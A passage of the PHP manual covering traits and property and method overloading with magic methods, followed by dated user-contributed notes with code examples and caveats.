class TraitUser
{
  use MyTrait;

  private $var = 'var';

  public function getVar()
  {
    return $this->accessVar();
  }
}

$t = new TraitUser();
echo $t->getVar(); // -> 'var'

?>
karolis at iwsolutions dot ie 18-Jul-2012 06:16
Not very obvious but trait methods can be called as if they were defined as static methods in a regular class

<?php
trait Foo {
    function bar() {
        return 'baz';
    }
}

echo Foo::bar(),"\\n";
?>
ryanhanekamp at yahoo dot com 10-May-2012 09:14
Using AS on a __construct method (and maybe other magic methods) is really, really bad. The problem is that is doesn't throw any errors, at least in 5.4.0. It just sporadically resets the connection. And when I say "sporadically," I mean that arbitrary changes in the preceding code can cause the browser connection to reset or not reset *consistently*, so that subsequent page refreshes will continue to hang, crash, or display perfectly in the same fashion as the first load of the page after a change in the preceding code, but the slightest change in the code can change this state. (I believe it is related to precise memory usage.)

I've spent a good part of the day chasing down this one, and weeping every time commenting or even moving a completely arbitrary section of code would cause the connection to reset. It was just by luck that I decided to comment the

"__construct as primitiveObjectConstruct"

line and then the crashes went away entirely.

My parent trait constructor was very simple, so my fix this time was to copy the functionality into the child __construct. I'm not sure how I'll approach a more complicated parent trait constructor.
ryan at derokorian dot com 15-Apr-2012 11:03
Simple singleton trait.

<?php

trait singleton {
    /**
     * private construct, generally defined by using class
     */
    //private function __construct() {}

    public static function getInstance() {
        static $_instance = NULL;
        $class = __CLASS__;
        return $_instance ?: $_instance = new $class;
    }

    public function __clone() {
        trigger_error('Cloning '.__CLASS__.' is not allowed.',E_USER_ERROR);
    }

    public function __wakeup() {
        trigger_error('Unserializing '.__CLASS__.' is not allowed.',E_USER_ERROR);
    }
}

/**
 * Example Usage
 */

class foo {
    use singleton;

    private function __construct() {
        $this->name = 'foo';
    }
}

class bar {
    use singleton;

    private function __construct() {
        $this->name = 'bar';
    }
}

$foo = foo::getInstance();
echo $foo->name;

$bar = bar::getInstance();
echo $bar->name;
Anonymous 28-Mar-2012 06:30
Traits can not implement interfaces.
(should be obvious, but tested is tested)
Safak Ozpinar / safakozpinar at gmail 18-Mar-2012 12:03
Unlike inheritance; if a trait has static properties, each class using that trait has independent instances of those properties.

Example using parent class:
<?php
class TestClass {
    public static $_bar;
}
class Foo1 extends TestClass { }
class Foo2 extends TestClass { }
Foo1::$_bar = 'Hello';
Foo2::$_bar = 'World';
echo Foo1::$_bar . ' ' . Foo2::$_bar; // Prints: World World
?>

Example using trait:
<?php
trait TestTrait {
    public static $_bar;
}
class Foo1 {
    use TestTrait;
}
class Foo2 {
    use TestTrait;
}
Foo1::$_bar = 'Hello';
Foo2::$_bar = 'World';
echo Foo1::$_bar . ' ' . Foo2::$_bar; // Prints: Hello World
?>
Jason dot Hofer dot deletify dot this dot part at gmail dot com 15-Mar-2012 01:39
A (somewhat) practical example of trait usage.

Without traits:

<?php

class Controller {
  /* Controller-specific methods defined here. */
}

class AdminController extends Controller {
  /* Controller-specific methods inherited from Controller. */
  /* Admin-specific methods defined here. */
}

class CrudController extends Controller {
  /* Controller-specific methods inherited from Controller. */
  /* CRUD-specific methods defined here. */
}

class AdminCrudController extends CrudController {
  /* Controller-specific methods inherited from Controller. */
  /* CRUD-specific methods inherited from CrudController. */
  /* (!!!) Admin-specific methods copied and pasted from AdminController. */
}

?>

With traits:

<?php

class Controller {
  /* Controller-specific methods defined here. */
}

class AdminController extends Controller {
  /* Controller-specific methods inherited from Controller. */
  /* Admin-specific methods defined here. */
}

trait CrudControllerTrait {
  /* CRUD-specific methods defined here. */
}

class AdminCrudController extends AdminController {
  use CrudControllerTrait;
  /* Controller-specific methods inherited from Controller. */
  /* Admin-specific methods inherited from AdminController. */
  /* CRUD-specific methods defined by CrudControllerTrait. */
}

?>
anthony bishopric 03-Mar-2012 09:11
The magic method __call works as expected using traits.

<?php
trait Call_Helper{

    public function __call($name, $args){
        return count($args);
    }
}

class Foo{
    use Call_Helper;
}

$foo = new Foo();
echo $foo->go(1,2,3,4); // echoes 4
Edward 01-Mar-2012 12:29
The difference between Traits and multiple inheritance is in the inheritance part.   A trait is not inherited from, but rather included or mixed-in, thus becoming part of "this class".   Traits also provide a more controlled means of resolving conflicts that inevitably arise when using multiple inheritance in the few languages that support them (C++).  Most modern languages are going the approach of a "traits" or "mixin" style system as opposed to multiple-inheritance, largely due to the ability to control ambiguities if a method is declared in multiple "mixed-in" classes.

Also, one can not "inherit" static member functions in multiple-inheritance.
greywire at gmail dot com 17-Feb-2012 04:12
The best way to understand what traits are and how to use them is to look at them for what they essentially are:  language assisted copy and paste.

If you can copy and paste the code from one class to another (and we've all done this, even though we try not to because its code duplication) then you have a candidate for a trait.
chris dot rutledge at gmail dot com 21-Dec-2011 09:42
It may be worth noting here that the magic constant __CLASS__ becomes even more magical - __CLASS__ will return the name of the class in which the trait is being used.

for example

<?php
trait sayWhere {
    public function whereAmI() {
        echo __CLASS__;
    }
}

class Hello {
    use sayWHere;
}

class World {
    use sayWHere;
}

$a = new Hello;
$a->whereAmI(); //Hello

$b = new World;
$b->whereAmI(); //World
?>

The magic constant __TRAIT__ will giev you the name of the trait


Overloading

Overloading in PHP provides means to dynamically "create" properties and methods. These dynamic entities are processed via magic methods one can establish in a class for various action types.

The overloading methods are invoked when interacting with properties or methods that have not been declared or are not visible in the current scope. The rest of this section will use the terms "inaccessible properties" and "inaccessible methods" to refer to this combination of declaration and visibility.

All overloading methods must be defined as public.

Note:

None of the arguments of these magic methods can be passed by reference.

Note:

PHP's interpretation of "overloading" is different than most object oriented languages. Overloading traditionally provides the ability to have multiple methods with the same name but different quantities and types of arguments.

Changelog

Version | Description
5.3.0 | Added __callStatic(). Added warning to enforce public visibility and non-static declaration.
5.1.0 | Added __isset() and __unset(). Added support for __get() for overloading of private properties.
5.0.0 | Added __get().

Property overloading

public void __set ( string $name , mixed $value )
public mixed __get ( string $name )
public bool __isset ( string $name )
public void __unset ( string $name )

__set() is run when writing data to inaccessible properties.

__get() is utilized for reading data from inaccessible properties.

__isset() is triggered by calling isset() or empty() on inaccessible properties.

__unset() is invoked when unset() is used on inaccessible properties.

The $name argument is the name of the property being interacted with. The __set() method's $value argument specifies the value the $name'ed property should be set to.

Property overloading only works in object context. These magic methods will not be triggered in static context. Therefore these methods should not be declared static. As of PHP 5.3.0, a warning is issued if one of the magic overloading methods is declared static.

Note:

The return value of __set() is ignored because of the way PHP processes the assignment operator. Similarly, __get() is never called when chaining assignments together like this:

 $a = $obj->b = 8;

Example #1
     Overloading properties via the __get(),
     __set(), __isset()
     and __unset() methods

<?php
class PropertyTest
{
    /**  Location for overloaded data.  */
    private $data = array();

    /**  Overloading not used on declared properties.  */
    public $declared = 1;

    /**  Overloading only used on this when accessed outside the class.  */
    private $hidden = 2;

    public function __set($name, $value)
    {
        echo "Setting '$name' to '$value'\n";
        $this->data[$name] = $value;
    }

    public function __get($name)
    {
        echo "Getting '$name'\n";
        if (array_key_exists($name, $this->data)) {
            return $this->data[$name];
        }

        $trace = debug_backtrace();
        trigger_error(
            'Undefined property via __get(): ' . $name .
            ' in ' . $trace[0]['file'] .
            ' on line ' . $trace[0]['line'],
            E_USER_NOTICE);
        return null;
    }

    /**  As of PHP 5.1.0  */
    public function __isset($name)
    {
        echo "Is '$name' set?\n";
        return isset($this->data[$name]);
    }

    /**  As of PHP 5.1.0  */
    public function __unset($name)
    {
        echo "Unsetting '$name'\n";
        unset($this->data[$name]);
    }

    /**  Not a magic method, just here for example.  */
    public function getHidden()
    {
        return $this->hidden;
    }
}

echo "<pre>\n";

$obj = new PropertyTest;

$obj->a = 1;
echo $obj->a . "\n\n";

var_dump(isset($obj->a));
unset($obj->a);
var_dump(isset($obj->a));
echo "\n";

echo $obj->declared . "\n\n";

echo "Let's experiment with the private property named 'hidden':\n";
echo "Privates are visible inside the class, so __get() not used...\n";
echo $obj->getHidden() . "\n";
echo "Privates not visible outside of class, so __get() is used...\n";
echo $obj->hidden . "\n";
?>

The above example will output:

Setting 'a' to '1'
Getting 'a'
1

Is 'a' set?
bool(true)
Unsetting 'a'
Is 'a' set?
bool(false)

1

Let's experiment with the private property named 'hidden':
Privates are visible inside the class, so __get() not used...
2
Privates not visible outside of class, so __get() is used...
Getting 'hidden'

Notice:  Undefined property via __get(): hidden in <file> on line 70 in <file> on line 29

Method overloading

public mixed __call ( string $name , array $arguments )
public static mixed __callStatic ( string $name , array $arguments )

__call() is triggered when invoking inaccessible methods in an object context.

__callStatic() is triggered when invoking inaccessible methods in a static context.

The $name argument is the name of the method being called. The $arguments argument is an enumerated array containing the parameters passed to the $name'ed method.

Example #2 Overloading methods via the __call() and __callStatic() methods

<?php
class MethodTest
{
    public function __call($name, $arguments)
    {
        // Note: value of $name is case sensitive.
        echo "Calling object method '$name' "
             . implode(', ', $arguments). "\n";
    }

    /**  As of PHP 5.3.0  */
    public static function __callStatic($name, $arguments)
    {
        // Note: value of $name is case sensitive.
        echo "Calling static method '$name' "
             . implode(', ', $arguments). "\n";
    }
}

$obj = new MethodTest;
$obj->runTest('in object context');

MethodTest::runTest('in static context');  // As of PHP 5.3.0
?>

The above example will output:

Calling object method 'runTest' in object context
Calling static method 'runTest' in static context

User Contributed Notes

cottton at i-stats dot net 13-Sep-2014 11:58
Actually you dont need __set ect imo.
You could use it to set (pre-defined) protected (and in "some" cases private) properties . But who wants that?
(test it by uncommenting private or protected)
(pastebin because long ...) => http://pastebin.com/By4gHrt5
bimal at sanjaal dot com 19-Jun-2014 06:05
Use of magic functions may make your private variables behave like public ones.
But it becomes strict; you cannot (in fact should not) assign any properties dynamically during the runtime.

<?php
class order
{
    private $OrderID='';
    private $OrderAmount=0.00;

    public function __set($name='', $value='')
    {
        if(property_exists($this, $name))
        {
            $this->$name = $value;
        }
    }

    public function __get($name='')
    {
        $value = null;
        if(property_exists($this, $name))
        {
            $value = $this->$name;
        }
        return $value;
    }
}

$order = new order();
$order->OrderID = '201305062202';
$order->OrderAmount = 23.45;
$order->InvalidMember = 'Missed Assignment';

echo '<pre>', print_r($order, true), '</pre>';

?>

Outputs:
order Object
(
    [OrderID:order:private] => 201305062202
    [OrderAmount:order:private] => 23.45
)
ortreum 12-Jun-2014 06:31
You can use __call and __callStatic for an very simple function based caching approach. If your method result needs to be cached based on its arguments then you only have to add cached_ infront of the name.

class thebase
{

    private static $cache = array();

    private static function argsAndCache($name, $args)
    {
        $hasArray = false;
        $argsX = $cache = '';
        if (count($args) > 0)
        {
            foreach ($args as $v) if ($hasArray = (is_array($v) || is_object($v))) break;
            $argsX = '$args[' . implode('], $args[', array_keys($args)) . ']';
            $cache = ($hasArray)
                ? md5(json_encode($args))
                : '[$args[' . implode(']], [$args[', array_keys($args)) . ']]';
        }
        $cache = 'self::$cache[\'' . $name . '\']' . $cache;
        return array($argsX, $cache);
    }

    public function __call($name, $args)
    {
        list($argsX, $cache) = self::argsAndCache($name, $args);
        eval('$result = isset(' . $cache . ')
            ? ' . $cache . '
            : $this->cached_' . $name . '(' . $argsX . ');');
        return $result;
    }

    public static function __callStatic($name, $args)
    {
        list($argsX, $cache) = self::argsAndCache($name, $args);
        eval('$result = isset(' . $cache . ')
            ? ' . $cache . '
            : ' . get_called_class() . '::cached_' . $name . '(' . $argsX . ');');
        return $result;
    }

}

class theChild extends thebase
{
    public function cached_abc()
    {
        return 1;
    }

    public static function cached_s_abc()
    {
        return 1;
    }

    public static function normal()
    {
        return 1;
    }

}

$x = new theChild();
echo $x->abc();
echo theChild::s_abc();
echo theChild::normal();
cavetroll3000 at gmail dot com 24-May-2014 10:40
If you need to also use the magic setter in your constructor, you may use this example:

<?php
class person {
        private $name;
        private $addr;
        private $city;

        function __construct($n,$a,$c) {
                $this->__set('name', $n); // Pushing "name" through the setter where it will be validated and sanitated.
                $this->addr = $a;         // Adress is not validated
              $this->city = $c;         // Neither is this...
//                $this->__set('city',$c);         // But this is...
        }

        public function __get($property) {if (property_exists($this, $property)) {return $this->$property;}}

        public function __set($property, $value) {
                if (property_exists($this, $property)) {
                        echo "<pre>Setting $value</pre>";

                        // ... Clever code for sanitation...
                        if ($value == "Evil input from user"){
                                echo "<pre>Oh no! Bad user! Go sit in the corner!</pre>";
                                $this->$property = null;
                        } else {
                                $this->$property = $value;
                        }
                }
                return $this;
        }
}

$cathy = new person('Cathy','9 Dark and Twisty','Evil input from user');
$cathy->name = "Kitty Kat";

echo "<pre>" . print_r($cathy,1) . "</pre>";
echo "<pre>" . $cathy->city . "</pre>";
?>

This code will output:

Setting Kitty Kat
person Object
(
    [name:person:private] => Kitty Kat
    [addr:person:private] => 9 Dark and Twisty
    [city:person:private] => Evil input from user
)
Evil input from user

So it is important to push variables from the user through the setters even in the constructor.
N3hu3n 30-Mar-2014 02:43
you can call the method _call passing parameters by reference:

<?php
class MagicCallReference()
{
public function __call($name, $params)
 {
        var_dump($params);
    $params[0][0] = '222';
 }
}
$magicReference = new MagicCallReference();

$test = 3;
var_dump($test);

$magicReference->setReference(array(&$info));

var_dump($test);
?>

Output:

int 3

array (size=1)
  0 =>
    array (size=1)
      0 => &int 3

string '222' (length=3)
Nehuen 12-Mar-2014 02:43
Overloading other classical typed languages ​​can be emulated in a simple way:

<?php
 class overload
 {
    protected function overloaded($method, $params, $type = false, $instance = false)
    {
        $method .= count($params);
        if($type && $params)
        {
            foreach($params as $param)
                $method .= '_'.(gettype($param) == 'object' ? ($instance ? get_class($param) : 'object') : gettype($param));
        }

        if(method_exists($this, $method))
            call_user_func_array(array($this,$method),$params);
    }
 }

 class test_overload extends overload
 {
    public function test_function() { $this->overloaded('test', func_get_args(), true); }

    protected function test0()
    {
        echo('<br>Hello, I did not pass any parameters.');
    }

    protected function test1_string($string)
    {
        echo('<br>Hello, I spent this string: '.$string);
    }

    protected function test1_integer($integer)
    {
        echo('<br>Hello, I spent this integer: '.$integer);
    }

    protected function test2_integer_string($integer, $string)
    {
        echo('<br>Hello, I spent this integer: '.$integer.' and this string: '.$string);
    }

    protected function test2_string_integer($string, $integer)
    {
        echo('<br>Hello, I spent this string: '.$integer.' and this integer: '.$string);
    }
 }

 $test = new test_overload();
 $test->test_function();
 $test->test_function('test');
 $test->test_function(5);
 $test->test_function(5, 'test');
 $test->test_function('test', 5);
 $test->test_function('2');
Nanhe Kumar 23-Jan-2014 07:28
<?php
//How can implement __call function
class Student {

    protected $_name;
    protected $_email;

    public function __call($name, $arguments) {
        $action = substr($name, 0, 3);
        switch ($action) {
            case 'get':
                $property = '_' . strtolower(substr($name, 3));
                if(property_exists($this,$property)){
                    return $this->{$property};
                }else{
                    echo "Undefined Property";
                }
                break;
            case 'set':
                $property = '_' . strtolower(substr($name, 3));
                if(property_exists($this,$property)){
                    $this->{$property} = $arguments[0];
                }else{
                    echo "Undefined Property";
                }

                break;
            default :
                return FALSE;
        }
    }

}

$s = new Student();
$s->setNam('Nanhe Kumar');
$s->setEmail('nanhe.kumar@gmail.com');
echo $s->getName(); //Nanhe Kumar
echo $s->getEmail(); // nanhe.kumar@gmail.com
$s->setAge(10); //Undefined Property
?>
Nanhe Kumar 18-Jan-2014 07:47
<?php
//How can implement __call function you understand better
class Employee {

    protected $_name;
    protected $_email;
    protected $_compony;

    public function __call($name, $arguments) {
        $action = substr($name, 0, 3);
        switch ($action) {
            case 'get':
                $property = '_' . strtolower(substr($name, 3));
                if(property_exists($this,$property)){
                    return $this->{$property};
                }else{
                    $trace = debug_backtrace();
                    trigger_error('Undefined property  ' . $name . ' in ' . $trace[0]['file'] . ' on line ' . $trace[0]['line'], E_USER_NOTICE);
                    return null;
                }
                break;
            case 'set':
                $property = '_' . strtolower(substr($name, 3));
                if(property_exists($this,$property)){
                    $this->{$property} = $arguments[0];
                }else{
                    $trace = debug_backtrace();
                    trigger_error('Undefined property  ' . $name . ' in ' . $trace[0]['file'] . ' on line ' . $trace[0]['line'], E_USER_NOTICE);
                    return null;
                }

                break;
            default :
                return FALSE;
        }
    }

}

$s = new Employee();
$s->setName('Nanhe Kumar');
$s->setEmail('nanhe.kumar@gmail.com');
echo $s->getName(); //Nanhe Kumar
echo $s->getEmail(); // nanhe.kumar@gmail.com
$s->setAge(10); //Notice: Undefined property setAge in
?>
Yousef Ismaeil Cliprz[at]Gmail[Dot]com 22-Aug-2013 05:21
Set a property outside object :

Yes we can

<?php

/**
 * Example to Set and Get a property outside object
 *
 * @author Yousef Ismaeil Cliprz[At]Gmail[Dot]com
 */

class Apple {

    /**
     * Device name
     *
     * @var string
     * @access public
     */
    public $device;

}

// Create object
$apple = new Apple();

// Set device name
$apple->device = 'iPhone';

// set a new property
$apple->version = '4s'; // 4s for example

// Get the Apple::$device property and the new property Apple::$version
echo ("This is Apple {$apple->device} version {$apple->version}");

?>
theaceofthespade at gmail dot com 24-Mar-2012 06:35
A word of warning!  It may seem obvious, but remember, when deciding whether to use __get, __set, and __call as a way to access the data in your class (as opposed to hard-coding getters and setters), keep in mind that this will prevent any sort of autocomplete, highlighting, or documentation that your ide mite do.

Furthermore, it beyond personal preference when working with other people.  Even without an ide, it can be much easier to go through and look at hardcoded member and method definitions in code, than having to sift through code and piece together the method/member names that are assembled in __get and __set.

If you still decide to use __get and __set for everything in your class, be sure to include detailed comments and documenting, so that the people you are working with (or the people who inherit the code from you at a later date) don't have to waste time interpreting your code just to be able to use it.
_ at apakoh dot dk 17-Feb-2012 01:11
I find the following use of __set and __get useful:

<?php
class Post {
  private $title;
  private $content;
  private $author;
  private $comments;

  private $_getters = array('title', 'content', 'author', 'comments');
  private $_setters = array('title', 'content', 'author');

  public function __get($property) {
    if (in_array($property, $this->_setters)) {
      return $this->$property;
    }
    else if (method_exists($this, '_get_' . $property))
      return call_user_func(array($this, '_get_' . $property));
    else if (in_array($property, $this->_getters) OR method_exists($this, '_set_' . $property))
      throw new Exception('Property "' . $property . '" is write-only.');
    else
      throw new Exception('Property "' . $property . '" is not accessible.');
  }

  public function __set($property, $value) {
    if (in_array($property, $this->_getters)) {
      $this->$property = $value;
    }
    else if (method_exists($this, '_set_' . $property))
      call_user_func(array($this, '_set_' . $property), $value);
    else if (in_array($property, $this->_setters) OR method_exists($this, '_get_' . $property))
      throw new Exception('Property "' . $property . '" is read-only.');
    else
      throw new Exception('Property "' . $property . '" is not accessible.');
  }
}
?>

This way the variables in the $_getters array can be read from the outside and the variables in the $_setters array can be modified from the outside, like this:

<?php
$post = new Post();
$post->title = 'Hello, World';
echo $post->title;

// The following will throw an exception since $comments is read-only:
$post->comments = 23;
?>

And in case you need a less generic getter or setter at some point, you can remove the variable from the $_getters or $_setters array and implement a method like:

<?php
private function _set_title($value) {
  $this->title = str_replace('World', 'Universe', $value);
}
?>

And from the outside the property could still be used with:

<?php
$post->title = 'Hello, World!';
?>

I've tried a couple of different ways of doing this, but this seems to be the fastest (although still around 2 times slower than using ugly old school getter- and setter-methods).
Functions like property_exists() are unnecessary and only makes thing even slower (my initial attempt at using __set and __get was up to 9 times slower than traditional getter/setter methods).

Could probably still be improved/changed in different ways depending on context.
ari at asu dot edu 31-Oct-2011 10:57
It may be important to note that when __set($name, $value) is called, $name gets entered into the symbol table for that call stack. This means that if a property is set within __set, it will only work if that property's name appears in the call stack (ie if it matches $name). If not, __set will be called again on the new property recursively.

<?php
class test
{
    function __set($name, $value)
    {
        echo "__set($name, $value);\n";
        $this->prop3 = $value; // This will call __set(prop3, value)
        $this->prop2 = $value; // This will call __set(prop2, value)
        $this->prop1 = $value; // This will NOT call __set(prop1, value) because $name == prop1.
    }
}

$test = new test;
$test->prop1 = 'value';
?>

It could be thought of like this: within the function __set($name, $value), $this->[property name] = [value] will recurse unless property name == $name. Within the call stack of __set, __set will never recurse on the same name twice. Once you leave __set (without actually creating the property), the call stack ends and all bets are off.

What this means:
You cannot do things like setting an (uppercase) property to lowercase within __set without expecting __set to be called twice. If you were to add an underscore to the property name, you can expect an infinite recursion loop.

I hope someone finds this useful. It drove me nuts for a few hours.
dans at dansheps dot com 01-Aug-2011 05:38
Since this was getting me for a little bit, I figure I better pipe in here...

For nested calls to private/protected variables(probably functions too) what it does is call a __get()  on the first object, and if you return the nested object, it then calls a __get() on the nested object because, well it is protected as well.

EG:
<?php
class A
{
protected $B

public function __construct()
{
$this->B = new B();
}

public function __get($variable)
{
echo "Class A::Variable " . $variable . "\n\r";
$retval = $this->{$variable};
return $retval;
}
}

class B
{
protected $val

public function __construct()
{
$this->val = 1;
}

public function __get($variable)
{
echo "Class B::Variable " . $variable . "\n\r";
$retval = $this->{$variable};
return $retval;
}
}

$A = new A();

echo "Final Value: " . $A->B->val;
?>

That will return something like...

Class A::Variable B
Class B::Variable val
Final Value: 1

It seperates the calls into $A->B and $B->val

Hope this helps someone
jk at jankriedner dot de 07-Jun-2011 12:15
You should take care when using properties retrieved via __get() in functions that expect arguments to be passed by reference (e.g. mysqli_stmt_bind_param). The reference is NOT set to the property itself, but to the value returned by __get().
Thus, binding a property retrieved via __get() to a statement will let the statement be executed always with the value the property had when calling bind_param, not with the current value it has when calling execute().
E.g.:
<?php
error_reporting(E_ALL);
class foo {
    protected $bar;

    public function __construct() {
        $this->bar = "Hello World!";
    }
    public static function factory() {
        return new self;
    }
    public function __get($property) {
        if(!property_exists($this,$property)) {
            throw new InvalidArgumentException("Property {$property} doesn't exist");
        }
        return $this->$property;
    }
    public function setBar($value) {
        $this->bar = $value;
    }
}
$foo = new foo();
echo $foo->bar;    // Ouputs: Hello World!
$db = new mysqli("localhost","root","","tests");
$sql = "INSERT INTO foo SET bar=?";
$res = $db->prepare($sql);
$res->bind_param("s",$foo->bar);  // Notice: Indirect modification of overloaded property foo::$bar has no effect in /var/www/overload.php on line 24
$res->execute();  // Writes "Hello World!" to database
$foo->setBar("Goodbye");
echo $foo->bar;   // Outputs: Goodbye
$res->execute();  // Writes "Hello World!" to database
?>
Daniel Smith 24-May-2011 01:15
Be careful of __call in case you have a protected/private method. Doing this:

<?php
class TestMagicCallMethod {
    public function foo()
    {
        echo __METHOD__.PHP_EOL;
    }

    public function __call($method, $args)
    {
        echo __METHOD__.PHP_EOL;
        if(method_exists($this, $method))
        {
            $this->$method();
        }
    }

    protected function bar()
    {
        echo __METHOD__.PHP_EOL;
    }

    private function baz()
    {
        echo __METHOD__.PHP_EOL;
    }
}

$test    =    new TestMagicCallMethod();
$test->foo();
/**
 * Outputs:
 * TestMagicCallMethod::foo
 */

$test->bar();
/**
 * Outputs:
 * TestMagicCallMethod::__call
 * TestMagicCallMethod::bar
 */

$test->baz();
/**
 * Outputs:
 * TestMagicCallMethod::__call
 * TestMagicCallMethod::baz
 */
?>

..is probably not what you should be doing. Always make sure that the methods you call in __call are allowed as you probably dont want all the private/protected methods to be accessed by a typo or something.
jan dot machala at email dot cz 15-Apr-2011 12:47
Example of usage __call() to have implicit getters and setters

<?php
class Entity {
    public function __call($methodName, $args) {
        if (preg_match('~^(set|get)([A-Z])(.*)$~', $methodName, $matches)) {
            $property = strtolower($matches[2]) . $matches[3];
            if (!property_exists($this, $property)) {
                throw new MemberAccessException('Property ' . $property . ' not exists');
            }
            switch($matches[1]) {
                case 'set':
                    $this->checkArguments($args, 1, 1, $methodName);
                    return $this->set($property, $args[0]);
                case 'get':
                    $this->checkArguments($args, 0, 0, $methodName);
                    return $this->get($property);
                case 'default':
                    throw new MemberAccessException('Method ' . $methodName . ' not exists');
            }
        }
    }

    public function get($property) {
        return $this->$property;
    }

    public function set($property, $value) {
        $this->$property = $value;
        return $this;
    }

    protected function checkArguments(array $args, $min, $max, $methodName) {
        $argc = count($args);
        if ($argc < $min || $argc > $max) {
            throw new MemberAccessException('Method ' . $methodName . ' needs minimaly ' . $min . ' and maximaly ' . $max . ' arguments. ' . $argc . ' arguments given.');
        }
    }
}

class MemberAccessException extends Exception{}

class Foo extends Entity {
    protected $a;
}

$foo = new Foo();
$foo->setA('some'); // outputs some
echo $foo->getA();

class Bar extends Entity {
    protected $a;
    /**
     * Custom setter.
     */
    public function setA($a) {
        if (!preg_match('~^[0-9a-z]+$~i', $a)) {
            throw new MemberAccessException('A can be only alphanumerical');
        }
        $this->a = $a;
        return $this;
    }
}

$bar = new Bar();
$bar->setA('abc123'); // ok
$bar->setA('[]/*@...'); // throws exception
?>
Anonymous 19-Dec-2010 12:12
Using anon functions, you can allow your class methods to be declared after your class is already set.  Though you cannot use a class property as a function in any way (including for properties that are objects with their own __invoke() method) without triggering a fatal error, there is a workaround using an array property to store all these anon functions...

<?php

class Test {
    // generic class allowing dynamic addition of methods

    public $anon_list = array(); // list of all custom added methods

    function __call($fnc, $args) {return call_user_func_array($this->anon_list[$fnc], $args);}

    function __set($name, $val) {$this->anon_list[$name] = $val;}

    }

// Example adding a new custom method
$test = new Test;
$test->do_something = function ($var1, $var2) {echo "custom called with $var1 and $var2\n";};
$test->do_something('asdf', 'test');

?>

Unfortunately, without access to $this within the anon functions, it's not really useful.  You can "use ($test)" in your anon function, but that just makes it more complicated.
php at lanar dot com dot au 13-Jun-2010 02:39
Note that __isset is not called on chained checks.
If isset( $x->a->b ) is executed where $x is a class with __isset() declared, __isset() is not called.

<?php

class demo
{
    var $id ;
    function __construct( $id = 'who knows' )
    {
        $this->id = $id ;
    }
    function __get( $prop )
    {
        echo "\n", __FILE__, ':', __LINE__, ' ', __METHOD__, '(', $prop, ') instance ', $this->id ;
        return new demo( 'autocreated' ) ; // return a class anyway for the demo
    }
    function __isset( $prop )
    {
        echo "\n", __FILE__, ':', __LINE__, ' ', __METHOD__, '(', $prop, ') instance ', $this->id ;
        return FALSE ;
    }
}
$x = new demo( 'demo' ) ;
echo "\n", 'Calls __isset() on demo as expected when executing isset( $x->a )' ;
$ret = isset( $x->a ) ;
echo "\n", 'Calls __get() on demo without call to __isset()  when executing isset( $x->a->b )' ;
$ret = isset( $x->a->b ) ;
?>

Outputs

Calls __isset() on demo as expected when executing isset( $x->a )
C:\htdocs\test.php:31 demo::__isset(a) instance demo
Calls __get() on demo without call to __isset()  when executing isset( $x->a->b )
C:\htdocs\test.php:26 demo::__get(a) instance demo
C:\htdocs\test.php:31 demo::__isset(b) instance autocreated
navarr at gtaero dot net 15-May-2010 10:25
If you want to make it work more naturally for arrays $obj->variable[] etc you'll need to return __get by reference.

<?php
class Variables
{
        public function __construct()
        {
                if(session_id() === "")
                {
                        session_start();
                }
        }
        public function __set($name,$value)
        {
                $_SESSION["Variables"][$name] = $value;
        }
        public function &__get($name)
        {
                return $_SESSION["Variables"][$name];
        }
        public function __isset($name)
        {
                return isset($_SESSION["Variables"][$name]);
        }
}
?>
zzzzbov 26-Apr-2010 09:30
I've written a brief, generic function for __get() and __set() that works well implementing accessor and mutator functions.

This allows the programmer to use implicit accessor and mutator methods when working with attribute data.

<?php

class MyClass
{
    private $degrees

    public function __get($name)
    {
        $fn_name = 'get_' . $name;
        if (method_exists($this, $fn_name))
        {
            return $this->$fn_name();
        }
        else
        {
            return null;
        }
    }

    public function __set($name, $value)
    {
        $fn_name = 'set_' . $name;
        if (method_exists($this, $fn_name))
        {
            $this->$fn_name($value);
        }
    }

    private function get_degrees()
    {
        return $this->degrees;
    }

    private function set_degrees($value)
    {
        $this->degrees = $value % 360;
        if ($degrees < 0) $this->degrees += 360;
    }
}

?>
f4bi0_ at hotmail dot com 01-Apr-2010 10:12
TRICKY CHALLENGE: is there a way to check if $object->variable exists without automatically triggering the functionality of __get in case the variable doesn't exist?

TRADITIONAL WAY:
<?php

$object = new someClass(); // imagine someClass uses the Magic Method "__get"

if($object->variable){
 // do something

} else {

 // "__get" has inevitably been triggered :-(

}

?>

Ok, above we have the conventional way to check if a variable exists inside the object, the problem is that sometimes we DON'T WANT TO TRIGGER __GET in case the statement returns false!

ALTERNATIVE WAY:

<?php
if(array_key_exists( 'variable', get_object_vars($object) ) ){

 // do something

} else {

 // "__get" has no idea what is going on, i think it is still asleep :-)

}

?>

you can even turn this into a function or something
strata_ranger at hotmail dot com 07-Oct-2009 06:56
Combining two things noted previously:

1 - Unsetting an object member removes it from the object completely, subsequent uses of that member will be handled by magic methods.
2 - PHP will not recursively call one magic method from within itself (at least for the same $name).

This means that if an object member has been unset(), it IS possible to re-declare that object member (as public) by creating it within your object's __set() method, like this:

<?php
class Foo
{
  function __set($name, $value)
  {
    // Add a new (public) member to this object.
    // This works because __set() will not recursively call itself.
    $this->$name= $value;
  }
}

$foo = new Foo();

// $foo has zero members at this point
var_dump($foo);

// __set() will be called here
$foo->bar = 'something'; // Calls __set()

// $foo now contains one member
var_dump($foo);

// Won't call __set() because 'bar' is now declared
$foo->bar = 'other thing';

?>

Also be mindful that if you want to break a reference involving an object member without triggering magic functionality, DO NOT unset() the object member directly.  Instead use =& to bind the object member to any convenient null variable.
Franz 05-Oct-2009 07:59
It says in the documentation that assignment chaining does not work with the __set() function like this:

<?php
$a = $foo->b = 3;
?>

If you still want to make it work, I suppose you can just turn the variables around:

<?php
$foo->b = $a = 3;
?>
eric dot druid+php dot net at gmail dot com 02-Jul-2009 01:22
I needed to know from where a member variable was set from to determine visibility.

<?php
class foo {
  private $data;
  public function __set($name, $value) {
    $trace = debug_backtrace();
    if(!isset($trace[1]) || $trace[1]['object'] != $trace[0]['object']) {
      die("Trying to set protected member '$name' from public scope.");
    }
    $data[$name] = $value;
  }
}
?>
Anonymous 06-Jun-2009 12:54
It is possible to accomplish method polymorphism via PHP's __call method:
<?php
class Example{
    public function __call($name, $arguments){
        switch($name){
            case 'foo':
                switch(count($arguments)){
                    case 2:
                        echo 'You called "foo" with two arguments.<br>' . PHP_EOL;
                        break;
                    case 3:
                        echo 'You called "foo" with three arguments.<br>' . PHP_EOL;
                        break;
                    default:
                        echo 'Error: Invalid number of arguments to "foo."<br>' . PHP_EOL;
                        break;
                }
                break;
            default:
                echo "Error: Call to undefined function \"$name.\"<br>" . PHP_EOL;
        }
    }
}

$test = new Example;
